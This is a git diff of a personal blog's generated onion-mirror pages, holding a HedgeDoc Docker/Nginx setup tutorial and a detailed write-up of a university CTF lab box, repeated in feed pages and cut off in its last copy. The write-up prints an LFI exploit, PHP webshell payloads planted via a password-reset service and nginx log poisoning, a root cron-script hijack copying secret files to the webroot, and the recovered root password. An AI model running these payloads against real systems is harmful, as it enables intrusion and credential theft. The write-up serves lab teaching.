    + + Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + Fri, 29 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + <p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p> + HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/letsencrypt/page/1/index.html b/public-onion/tags/letsencrypt/page/1/index.html new file mode 100644 index 0000000..190d0c0 --- /dev/null +++ b/public-onion/tags/letsencrypt/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/ + + + + + + diff --git a/public-onion/tags/lfi/index.html b/public-onion/tags/lfi/index.html new file mode 100644 index 0000000..6360117 --- /dev/null +++ b/public-onion/tags/lfi/index.html @@ -0,0 +1,352 @@ + + + + + + + +Lfi | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/lfi/index.xml b/public-onion/tags/lfi/index.xml new file mode 100644 index 0000000..327367a --- /dev/null +++ b/public-onion/tags/lfi/index.xml @@ -0,0 +1,379 @@ + + + + Lfi on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lfi/ + Recent content in Lfi on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 05 Jun 2026 12:00:00 +0000 + + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/lfi/page/1/index.html b/public-onion/tags/lfi/page/1/index.html new file mode 100644 index 0000000..20469a5 --- /dev/null +++ b/public-onion/tags/lfi/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lfi/ + + + + + + diff --git a/public-onion/tags/linux/index.html b/public-onion/tags/linux/index.html new file mode 100644 index 0000000..dc26f4e --- /dev/null +++ b/public-onion/tags/linux/index.html @@ -0,0 +1,373 @@ + + + + + + + +Linux | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/linux/index.xml b/public-onion/tags/linux/index.xml new file mode 100644 index 0000000..f4b5868 --- /dev/null +++ b/public-onion/tags/linux/index.xml @@ -0,0 +1,552 @@ + + + + Linux on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/ + Recent content in Linux on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 05 Jun 2026 12:00:00 +0000 + + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
